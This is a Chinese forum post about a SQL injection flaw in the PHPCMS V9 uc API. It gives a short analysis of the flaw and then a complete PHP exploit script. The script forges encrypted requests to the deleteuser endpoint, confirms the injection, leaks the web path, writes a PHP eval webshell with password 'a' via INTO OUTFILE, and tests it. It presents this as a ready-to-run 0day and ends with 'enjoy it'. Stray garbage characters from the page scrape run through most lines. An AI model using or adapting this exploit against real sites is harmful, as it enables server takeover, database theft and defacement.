找回密码
 立即注册
查看: 2458|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。
1 b7 l/ X5 `# a0 ]3 ]9 x
5 l9 B) n3 F7 d$ u1 k所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。0 }) t/ Z' z; ~5 i; l
& |; w! ?3 L0 J
漏洞分析:* [8 l7 Q% w% k5 G$ A6 W
1.未启用ucenter服务的情况下uc_key为空
9 D7 w3 n; A, N% ^define('UC_KEY', pc_base::load_config('system', 'uc_key'));4 K# ]: d0 x" k) V9 ]: B- h
2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
" b, L( Q2 N' r5 ?2 `" o    public function deleteuser($get,$post) {1 e% u) ^9 H' o& K: I
        pc_base::load_app_func('global', 'admin');# v) n, P; ~2 ~+ F, f$ @; h7 V
        pc_base::load_app_class('messagequeue', 'admin' , 0);& G& O2 `+ R  h2 w5 V
        $ids = new_stripslashes($get['ids']);
2 J  {$ l5 G6 y        $s = $this->member_db->select("ucuserid in ($ids)", "uid");$ i  }) N, i% e$ |0 _' E
SQL语句为
2 ?1 x. Z, y! j4 [; iSELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)6 L% p* S; h2 U. F
! i  ^0 _0 S: w1 k7 z* d/ d
利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell9 c( P% Q% ?. c& W8 W/ M
<?php$ b% W: W; {* Q6 j
print_r(') l' A2 E4 n: A1 P% Q3 A% j
---------------------------------------------------------------------------
# n3 M0 v/ O& ~; FPHPcms (v9 or Old Version) uc api sql injection 0day
9 w% G' y: S0 Gby rayh4c#80sec.com* L+ N$ m/ P8 N1 o! K5 i
---------------------------------------------------------------------------; `- s5 v9 ~4 N: t: S; a) B  ?# Y
');( \+ q  \' {, A( i2 J$ ]$ G' x  P2 ~% d
- x* k. z/ n$ P3 ~( K6 j
if ($argc<3) {
& X$ q; Y1 M% P* f1 v    print_r('- j, w2 z! o0 \7 M' L3 r
---------------------------------------------------------------------------4 H6 V* h# s# D
Usage: php '.$argv[0].' host path OPTIONS! f$ ]/ D1 G: c0 V; }9 p. M
host:      target server (ip/hostname)' N4 v0 f9 m0 J: K7 Z
path:      path to phpcms
  ^, L# i% y1 Y% v0 I9 T3 ^Options:8 L" F9 F- o3 \
-p[port]:    specify a port other than 803 {3 |6 S: b5 b5 c  T
-P[ip:port]: specify a proxy
$ n  [( d/ _6 l; L+ jExample:" M4 y3 v5 `3 p* X! }! T" S
php '.$argv[0].' localhost /4 u. K$ q: h1 T+ ~
php '.$argv[0].' localhost /phpcms/ -p81
* B$ }- U3 u- R- v/ O1 s! H2 Lphp '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
$ k: v: A4 X$ n. `; M$ T7 @---------------------------------------------------------------------------
9 U6 f8 r5 \+ [$ ^; L  e');
. @, b0 G9 r  L. A    die;
  Y0 P5 W5 b$ }  y& P}
1 D: m4 u  n9 p: v. }+ d, u
0 z/ T0 A6 V3 j0 Y/ q7 H1 A" S+ v7 ]error_reporting(7);
/ B  b: ~7 w6 Oini_set("max_execution_time",0);
7 I6 P) j& J- L# c# C) ^; lini_set("default_socket_timeout",5);
2 D2 S% a) K9 w; X/ ~; b- [
, i1 ]) O7 T& x, f( t! G, g' A0 Efunction quick_dump($string)
6 f: ]! r$ J+ h9 N{# \2 V- t2 @( X) V
  $result='';$exa='';$cont=0;" z0 T3 G+ y& E2 P" l: X* {! v7 o1 M
  for ($i=0; $i<=strlen($string)-1; $i++)
0 P  H- _$ ^$ N: l  {5 u, c6 l  p' F: B* i: u7 m
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))3 r5 F" Z: D  w3 ?, Q
   {$result.="  .";}+ C4 v; t. t! p! w8 j9 ?
   else
. y" K& ~9 r3 B! R. `$ [% q1 d: ^; s   {$result.="  ".$string[$i];}# c4 y, o. M6 I3 }- }, i" W+ l
   if (strlen(dechex(ord($string[$i])))==2)
$ H! y( e  A. G& H( ]; V7 h' N   {$exa.=" ".dechex(ord($string[$i]));}
: [' ~& C( [7 d   else
1 d' ]& G; N/ H9 i0 F$ x   {$exa.=" 0".dechex(ord($string[$i]));}* V/ ~4 E0 F' m" s; A7 s2 Q/ y8 I' j  Q
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}( ]' Z+ p6 k# ^, q% G. {( O/ w
  }  H$ P' B1 |: i% k
return $exa."\r\n".$result;8 l- i+ Y) B; }$ q0 g- L
}; _4 j! A5 a  \) Y6 h( l+ F
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';+ U4 q5 y" I& ?1 u; y  E+ M

9 B; D3 o1 p5 C' f' j/ Qfunction send($packet)
9 Y/ q4 x" U5 d9 u  @" ^2 w$ N{
& U; o. q, k2 I' A& s* d- S% ^- w  global $proxy, $host, $port, $html, $proxy_regex;
* c. R8 P$ o" x9 P  if ($proxy=='') {1 J; L2 E5 U# `1 C0 o
    $ock=fsockopen(gethostbyname($host),$port);; {8 h% Y; O: J, W0 B$ }
    if (!$ock) {! A& k" q/ B7 m. u* L  H
      echo 'No response from '.$host.':'.$port; die;
8 x1 ^. p( s! a    }2 K" |( x6 H7 I' K' P+ g# {
  }
9 \0 M& R, V) U& M% Y' `) a5 L  else {$ I) c; }$ e4 h& ]
        $c = preg_match($proxy_regex,$proxy);
# h$ l& s# i- U. R, c  A    if (!$c) {
$ F* X1 E8 Z" V, w/ d/ q% C. i' Y      echo 'Not a valid proxy...';die;" ?; c1 \) r( G5 ?' w  x- L- A( Q4 D/ B
    }
' ^( z+ V  n% ]& ?; q! {3 L    $parts=explode(':',$proxy);
" d5 J2 `4 f* s; i# G    $parts[1]=(int)$parts[1];
- _6 d3 B7 O# Y' p6 \  g$ H    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
9 `6 L: ]3 U5 `; P8 M* s* U6 V    $ock=fsockopen($parts[0],$parts[1]);
, T, n+ q) b5 q+ Q. R. o    if (!$ock) {
8 ]- {% r& L; G      echo 'No response from proxy...';die;
' e: _" k1 c  q3 R/ X5 B- }5 a3 `        }; b  u$ e) X3 e3 D0 Q1 j7 a2 W! u4 x1 U
  }
2 f( x* H3 W$ h  fputs($ock,$packet);
! B  ]8 Y2 T  G5 l: i! I  if ($proxy=='') {
( a- M* H1 v1 K) H; k    $html='';
7 Q8 k, ?+ Z! W    while (!feof($ock)) {
1 I6 `6 d# L/ s* G      $html.=fgets($ock);
- n) j5 a! q0 b8 S$ b9 |$ q    }; m+ f; o* {/ O
  }/ H9 n# u# |6 g0 ~( f
  else {9 G- ?2 `! J  d' q
    $html='';+ m- M0 ^% O+ i" @( ?
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {- X3 S$ Q9 t: z# _
      $html.=fread($ock,1);
$ L0 X* w( n; Z; g+ q3 X; e    }
+ R8 M- P" b! L- Q2 y: W0 H  }
' @) F4 s) ?+ u- `  fclose($ock);* C% z+ [+ v2 M" Y* b
}+ Q6 q  o. _# _1 ?3 l4 o

! K  M+ |- y9 f$ _+ _$host=$argv[1];/ J' L+ m6 d6 D$ L% G. a
$path=$argv[2];
  ^  k5 X  G/ `7 i( \5 w; r$port=80;5 S# j" w* Z  P" G% Y
$proxy="";+ j0 y# _5 f/ ]; F; O
for ($i=3; $i<$argc; $i++){( u( h) P2 k; S
$temp=$argv[$i][0].$argv[$i][1];" Z& d# W+ ~. Y7 b- `( z5 ^
if ($temp=="-p")
0 V3 E' Z0 u9 k! f5 U& S$ E{
9 i! I6 w7 K8 r8 |6 _  $port=(int)str_replace("-p","",$argv[$i]);7 Q; _  B0 N5 J/ _7 m1 Q  V
}
; M. o& ?2 T6 @2 R2 [) jif ($temp=="-P")
, U3 X, L+ t$ m! F7 L$ Y{
2 n1 q: t  z) f) C* }$ f8 m8 E  $proxy=str_replace("-P","",$argv[$i]);- X( Z2 V' x) W) s0 W
}: Z0 \+ A/ N" [% J$ E
}
) N+ Q1 B( i" @1 W
1 S/ i( |9 u9 U+ pif (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}( S3 j& E& A; s# }' y# z. }; D
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
- u. Q" l$ z1 Q
' L6 ]: |# K, mfunction authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
2 E$ T+ v; ]" {. b
2 _: g' Y$ G6 W/ ~! T5 I9 M- s& U8 B9 l    $ckey_length = 4;
$ g8 Y9 t& k: f" N) R% n* O; A6 U1 X, K1 O- f# t8 s3 x7 \
    $key = md5($key ? $key : '');& B; s6 C% M5 V9 j- J! X3 d
    $keya = md5(substr($key, 0, 16));
- |( a# A0 I: u, Y3 {* g: r    $keyb = md5(substr($key, 16, 16));- B, x8 f. _5 z- W" Y
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
6 {) U- u# x9 z1 D1 E% t
/ O/ Y( v* j% ^2 `& Q/ J    $cryptkey = $keya.md5($keya.$keyc);2 @; p+ y6 J* M2 B
    $key_length = strlen($cryptkey);& Z. ~: m8 t. j0 g4 |
+ @  R) k# z7 W+ [' R* c6 q
    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;, k% p2 A4 J7 O
    $string_length = strlen($string);) ?) B# X3 C) d8 Q7 V1 ~

) x5 |6 e' C1 d7 A    $result = '';" E" }# u& U  d& g& S6 ?: W
    $box = range(0, 255);1 P5 V/ {; C+ o# ?0 t0 V

( P; v3 r+ F1 J4 t, m8 J* n    $rndkey = array();5 U' x% _# g) e/ M3 u
    for($i = 0; $i <= 255; $i++) {$ L/ z/ z7 V6 o6 ~5 X
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);: ]3 d! k' F0 q# n+ ]& O# H& L4 U' k
    }
' z0 }+ J4 ]8 H  H; {) X; p2 W" X+ q% a, Z' p8 S* r
    for($j = $i = 0; $i < 256; $i++) {; M6 M) ]" d4 H* ~/ M4 l
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
2 T- c3 O6 Y" J        $tmp = $box[$i];- f: y% e* p; q
        $box[$i] = $box[$j];
/ C; G7 a/ E  H" a8 E        $box[$j] = $tmp;
/ P% v1 X' p8 \- @    }3 i9 Y0 C9 @+ G. g
0 i) I( P# r/ |$ v7 B9 Z  V% ^
    for($a = $j = $i = 0; $i < $string_length; $i++) {
2 X7 Y4 ^, D* \  e0 r        $a = ($a + 1) % 256;/ u4 ~# V" a7 r
        $j = ($j + $box[$a]) % 256;
8 v/ N6 `  m& L* K) g# d% ?5 M        $tmp = $box[$a];
) W6 i9 \8 ]8 M) \+ F7 R8 F  R6 e& J        $box[$a] = $box[$j];
9 H8 b( f. v; t, c# d5 K        $box[$j] = $tmp;
+ Q$ k2 W# `2 V0 [# M$ Z# K        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
5 ]( K9 w& n4 B    }9 x6 T3 o! e0 p6 ]( P: s

. \% q$ o, b% {' O: ~! V    if($operation == 'DECODE') {
% w* }- q7 _. N; }2 P. U        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {; W1 N2 M- N# Q
            return substr($result, 26);, d# B; N3 g) c" Z7 E. T' R' Z
        } else {9 n; F4 ^) N7 R/ k
            return '';
- [4 u+ d. z( S8 r& q        }
  e- H' {$ ]1 Y    } else {: N% P# m- X9 W9 F5 B6 ?4 a
        return $keyc.str_replace('=', '', base64_encode($result));
7 j2 ]8 t. W! S* n    }0 B- v) W7 Z! T* X

' M0 [9 \- r' t- I* G6 u6 b. T}
; a* n: m5 d; d* _, b5 d4 g- y3 O
; G/ G* d8 c/ H3 S; J0 a$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";1 A5 D1 V: A% Q+ K4 `
$SQL = urlencode(authcode($SQL, "ENCODE", ""));" @6 v! j+ ^$ ?* e9 d3 H  _' ]7 k
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
$ Q* P4 |( b) g* r- l. n$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";% ?  ^3 a8 O( d0 {
$packet.="User-Agent: Mozilla/5.0\r\n";, c# k5 j* V6 E5 j  D" Y
$packet.="Host: ".$host."\r\n";; z1 J2 |2 ]1 i8 v& j* J4 N% K4 r
$packet.="Connection: Close\r\n\r\n";5 S. p  L) l9 O/ V  C( _
send($packet);
- X* {. I3 p( p. Q* U) hif(strpos($html,"MySQL Errno") > 0){
: G3 z1 R! M# S0 w: s2 techo "[2] 发现存在SQL注入漏洞"."\n";
! Q; D+ Q8 Q! \. p3 Hecho "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";
9 w/ O. u8 g4 ^$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
1 Y; K  i4 a; ?" M' r: C+ s) I$packet.="User-Agent: Mozilla/5.0\r\n";. ?6 j6 Y2 D, z5 {8 r( N  k
$packet.="Host: ".$host."\r\n";+ R# R) \# @  Z$ P+ I9 D  k) S
$packet.="Connection: Close\r\n\r\n";7 h: w1 b7 h/ U; s3 Y7 k
send($packet);4 v( D) p, O8 Q4 X
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);  f: u3 L. i0 F- r+ w
//print_r($matches);1 O3 i. n/ F9 l0 r
if(!empty($matches)){
6 A# I2 r& Q4 ?' o- P8 Z1 [echo "[4] 得到web路径 " . $matches[0]."\n";; d8 X2 K/ Z0 ?1 B0 W+ t4 o/ R: C" v
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
8 n: z$ c, O. J" g$SQL = "time=999999999999999999999999&ids=1)";/ I9 Q7 A) S, v' m8 \) X
$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";; S$ k& y6 I; O: n: j
$SQL.="&action=deleteuser";
% |% r; V2 P. l. N8 R* `2 T$SQL = urlencode(authcode($SQL, "ENCODE", ""));
& G) l9 R/ A* x* _7 pecho "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";" h# m) ?. W+ Z) l. g6 l- ~
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";7 N( {# ~' l. V4 U
$packet.="User-Agent: Mozilla/5.0\r\n";
; A7 |* Y7 ~6 L* @& s$packet.="Host: ".$host."\r\n";
/ C; \5 P" o9 n) T: J* `$packet.="Connection: Close\r\n\r\n";* J* H3 q& U7 k8 W9 ~( E
send($packet);
, N0 N% o0 t: z- _1 c* R: L1 i0 Wif(strpos($html,"Access denied") > 0){' A- @3 a8 i3 D: A# }- I; f
echo "[-] MYSQL权限过低 禁止写入文件 ";
8 ]8 r+ J& P# V7 o  T! d! Sdie;
* X5 F3 J/ `) G2 K) Q9 \5 v2 ]}
4 g1 b3 [6 Z: U! `  T# z3 w( u. @/ Zecho "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";  z# e  z, G' B1 e, _
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
- S; L. S3 J5 h: {' Y% |$packet.="User-Agent: Mozilla/5.0\r\n";
% ]) v& i, f, w# e( z% k$packet.="Host: ".$host."\r\n";9 }& \9 l4 L. y( R6 h5 ^8 E' g+ z
$packet.="Connection: Close\r\n\r\n";
4 ^4 }/ \2 Y3 _( psend($packet);
- V" u# U/ E) a6 R2 j! sif(strpos($html,"<title>phpinfo()</title>") > 0){
; ]$ O6 {  w, f1 ?. Wecho "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";
0 ?# l) _& J2 g2 E" `}
9 Q( }/ f+ @' q  Q/ {) `* n}else{
2 _! `0 \" j* u; N6 Secho "[-]未取到web路径 ";1 w' T! a  z* Y
}
+ j( {4 a7 Z# o1 L}else{
8 G, O/ i( v* C' jecho "[*]不存在SQL注入漏洞"."\n";6 S) }0 F' t2 b' f! q
}
  {9 D& Q: Y7 j1 u
$ N; w7 Y+ D4 y; S+ K2 X?>( c2 I$ ^( E7 O# N
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表